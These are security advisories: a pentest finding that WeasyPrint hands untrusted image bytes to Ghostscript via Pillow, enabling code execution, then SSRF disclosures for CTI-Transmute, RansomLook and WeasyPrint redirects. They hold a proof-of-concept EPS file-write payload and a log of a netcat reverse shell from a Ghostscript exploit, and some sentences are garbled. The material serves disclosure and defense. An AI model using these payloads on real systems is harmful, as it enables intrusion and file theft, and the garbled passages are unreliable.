Summary

This was found during a pentest, funded by the NLNnet foundation, conducted by Stefan Vink from Radically Open Security and the only High issue found.

WeasyPrint passes fetched image bytes directly to Pillow's generic format dispatcher without restricting the input format. When Ghostscript is installed on the host, Pillow's EpsImagePlugin invokes it to rasterize attacker-controlled EPS/PS input. Any content that can supply an image to WeasyPrint (an <img> URL, CSS image value, SVG image reference, or data URI) can therefore drive untrusted PostScript into an external interpreter. On hosts running a Ghostscript version with a known -dSAFER bypass, this yields remote code execution.

Details

The image pipeline reads an external response and hands the raw bytes to Pillow's format-agnostic Image.open, with no allowlist of safe raster formats:

with fetch(urlfetcher, url) as response: bytestring = response.read() mimetype = forcedmimetype or response.contenttype

...

pillowimage = Image.open(BytesIO(bytestring))

Pillow selects the handler from the byte signature. For EPS/PS input it selects PIL.EpsImagePlugin, which invokes Ghostscript to rasterize the input when a Ghostscript executable is available. Modern Ghostscript builds may run with -dSAFER, but that does not remove the interpreter boundary — it only constrains it, and multiple CVEs have bypassed it.

The defect in WeasyPrint is that it dispatches untrusted bytes to a format handler capable of invoking an external interpreter, without first validating that the input is a format whose safe handling WeasyPrint can guarantee.

- Input: an image URL in <img>, a CSS image value, an SVG image reference, or a data URI. - Sink: the Ghostscript invocation inside Pillow's PIL.EpsImagePlugin, reached from weasyprint/images.py:287-327.

Missing guards:

- No allowlist limits image input to safe raster formats (e.g. PNG, JPEG, WebP) before Pillow's format dispatch. - No interpreter-specific CPU, memory, filesystem, or process-isolation guard exists in this path.

Hosts without Ghostscript installed do not reach the EPS rasterization path; that is an environment dependency, not an input-format guard within WeasyPrint.

PoC

1. Construct a minimal EPS payload that proves the Ghostscript subprocess executes attacker-supplied PostScript. The following 201-byte payload writes a marker file:

postscript %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 100 100 (/tmp/test-marker.txt) (w) file dup (testGHOSTSCRIPTMARKER\n) writestring closefile 0.5 setgray 0 0 100 100 rectfill showpage %%EOF

1. The path /tmp/test-marker.txt is illustrative; a hardened reproduction writes the marker into a unique mode-0700 directory created with tempfile.mkdtemp. The write destination exists only to prove the Ghostscript subprocess executed user-supplied PostScript. 2. Embed the payload in a data:image/x-eps;base64,... URI inside an <img> element and render the document with WeasyPrint. The run requires no shell, network, reverse shell, or deployment endpoint. 3. Observe the outcome: record the Ghostscript version, the render return code, the generated PDF size, and the private marker file contents. On Ghostscript 10.05.1 this was constrained to the bounded file write above. 4. To confirm the full RCE chain, a down-rev Ghostscript 10.03.0 was invoked directly with the CVE-2024-29510 payload while a netcat listener ran on 127.0.0.1:4444. The Ghostscript subprocess connected back and dropped into an interactive shell within a 30-second window:

$ nc -lvnp 4444 127.0.0.1 & Ncat: Version 7.94 ( https://nmap.org/ncat ) Ncat: Listening on 127.0.0.1:4444

$ gs -dSAFER -dBATCH -dNOPAUSE -dPARANOIDSAFER -sDEVICE=ppmraw \ -sOutputFile=/dev/null - < cve-2024-29510payload.eps ... Ncat: Connection from 127.0.0.1:51884. bash: cannot set terminal process group (261755): Inappropriate ioctl for device bash: no job control in this shell tester@host:~$

4. A host without Ghostscript installed does not reach the EPS rasterization path.

Impact

This is a remote code execution vulnerability (via untrusted-input-to-external-interpreter dispatch).

- Rendering untrusted EPS through WeasyPrint on a host with Ghostscript installed executes attacker-controlled PostScript. On Ghostscript 10.05.1 the effded file write. - On a host running a Ghostscript version with a known -dSAFER bypass, the same input path yields full remote code execution — demonstrated with CVE-2024.03.0, which is still shipped in many LTS and end-of-life branches. - The unconditional defect in WeasyPrint is the missing image-format allowlist, which is what makes the interpreter reachable from untrusted input.

Who is impacted:

Any deployment that renders untrusted or partially-untrusted HTML/CSS/SVG through WeasyPrint on a host where Ghostscript is installed along combination on general-purpose document-rendering servers.

CTI-Transmute is affected by a server-side request forgery vulnerability in the evaluation report PDF-generation functionality.

User-controlled CTI content, including conversion names, descriptions, and comments, is converted from Markdown to HTML and rendered as a PDF using WeasyPrint. Before the patch, the renderer used WeasyPrint’s default URL-fetching behavior without restricting the protocols or destinations that could be referenced by the generated HTML.

An attacker able to supply content included in an evaluation report could inject crafted resource references using schemes such as http://, https://, or file://. When the report was rendered, CTI-Transmute could fetch these resources using the application server’s network connectivity and filesystem privileges.

Successful exploitation could allow an attacker to:

access services available only from the CTI-Transmute server or its internal network; probe internal hosts and service endpoints; retrieve local files readable by the application process; and expose fetched content through the generated PDF, depending on the referenced resource type and rendering context.

The vulnerability is corrected by providing WeasyPrint with a restrictive URL fetcher that permits only self-contained data: URIs. The externally hosted Google Fonts stylesheet was also removed so that PDF generation performs no intentional network or filesystem fetches.

RansomLook contains insufficient resource validation in the analysis PDF generation functionality. Analysis documents are converted from Markdown to HTML and passed to WeasyPrint for PDF rendering. Prior to the fix, WeasyPrint used its default URL fetcher, allowing resource references contained in an analysis to be resolved without restrictions.

An authenticated attacker able to create or modify an analysis could embed crafted resource references using schemes such as file:// or http://. When the analysis was subsequently rendered as PDF, WeasyPrint would process these references with the privileges and network access of the RansomLook server.

A malicious file:// reference could cause the renderer to access arbitrary files readable by the RansomLook process, potentially exposing sensitive configuration, credentials, or other local data through rendered resources. Network URLs could cause the server to initiate requests to localhost, internal network services, or external systems, resulting in server-side request forgery (SSRF) and potentially bypassing network-level access restrictions.

The patch introduces a dedicated WeasyPrint URL fetcher that permits only data: resources, the RansomLook report logo, and files contained within the analysis asset directory. Network resources and filesystem paths outside these explicitly permitted locations are rejected.

WeasyPrint helps web developers to create PDF documents. Prior to version 68.0, a server-side request forgery (SSRF) protection bypass exists in WeasyPrint's defaulturlfetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom urlfetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy. Version 68.0 contains a patch for the issue.